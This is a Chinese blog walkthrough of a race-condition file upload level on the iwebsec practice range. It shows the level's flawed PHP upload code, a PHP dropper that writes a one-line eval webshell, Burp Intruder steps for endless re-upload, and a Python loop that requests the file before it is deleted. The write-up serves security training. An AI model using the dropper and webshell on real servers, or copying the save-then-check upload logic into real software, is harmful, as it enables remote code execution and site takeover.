iwebsec靶场文件上传漏洞通关笔记7-竞争条件文件上传

最新推荐文章于 2024-04-28 21:38:14 发布

mooyuan天天

最新推荐文章于 2024-04-28 21:38:14 发布

阅读量994

点赞数 16

分类专栏： web渗透 iwebsec靶场网络安全文章标签：安全 web安全 iwebsec 渗透测试文件上传漏洞

本文链接：https://blog.csdn.net/mooyuan/article/details/128064159

版权

iwebsec靶场同时被 3 个专栏收录

42 篇文章 20 订阅

订阅专栏

网络安全

19 篇文章 1 订阅

订阅专栏

web渗透

7 篇文章 0 订阅

订阅专栏

4.intruder死循环上传shell.php

5.写python脚本不断访问shell.php

第07关条件竞争文件上传

通过对iwebsec靶场文件上传的第七关卡讲解条件竞争法实现文件上传的方法，通过python脚本配合burpsuite工具实现渗透过程。

1.打开靶场

iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/upload/07.php

随手构造info.php，内容为<?php phpinfo();?>如下所示，提示该文件不允许删除已删除，提到删除应该是条件竞争类的文件上传漏洞

2.源码分析

如下所示，对于不在白名单中的文件类型，服务器直接删掉了

<?php

  require_once('../header.php');
  ?>
<html>
<meta http-equiv="Content-Type" content="text/html;  charset=utf8"/>
	<head>
		<title>条件竞争文件上传</title>
	</head>
	<h2>条件竞争文件上传</h2>
		<div class="alert alert-success">
			<p>请上传PHP文件</p>
		</div>
	<body>
<form  enctype="multipart/form-data" method="post" name="uploadfile">
请上传文件:<input type="file" name="upfile" /><br> 
<input type="submit" name="submit" value="submit" />
</form> 
</html>
<?php
if (isset($_POST['submit'])){
    $allow_ext = array("gif","png","jpg");
	
	$uploaddir = 'uploads/';

    $filename = $uploaddir.$_FILES['upfile']['name'];
	
	move_uploaded_file($_FILES['upfile']['tmp_name'],$filename);
  
    $file = "./".$filename;
    echo "文件上传成功: ".$file."\n<br />";

    $ext = array_pop(explode(".",$_FILES['upfile']['name']));
    if (!in_array($ext,$allow_ext)){
        unlink($file);
        die("此文件类型不允许上传已删除");
    }
	}else{
		die("");
	}

?>

3.构造脚本

构造脚本命名为shell.php，它的作用是生成一句话木马cmd.php，cmd.php的内容为<?php eval($_POST[cmd]);?>

<?php
fputs (fopen("cmd.php","w"),'<?php eval($_POST[cmd]);?>')
?>

希望通过向服务器不停的上传shell.php脚本，在其未被删除前，利用条件竞争执行shell.php脚本生成一句话木马cmd.php

4.intruder死循环上传shell.php

（1）bp开启拦截模式

（2）浏览器上传shell.php

（3）bp抓包并发送给intruder

（4）intruder中的positions处清除所有载荷

如下所示，点击clear

（5）intruder中的payload处选择1没有负载，无限重复

英文版bp如下

中文版bp如下

5.写python脚本不断访问shell.php

根据第一次上传失败的提示得知文件上传后的路径为./uploads/info.php

那么shell.php上传成功后，在没有被删掉前，其url访问路径为http://iwebsec.com:81/upload/uploads/shell.php

于是构造python脚本一直访问shell.php，利用时间差，不断访问使其可以在删除前生成cmd.php这个webshell，如下所示

import requests

url = "http://iwebsec.com:81/upload/uploads/shell.php" #这个路径，是上传的那个路径
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("NO")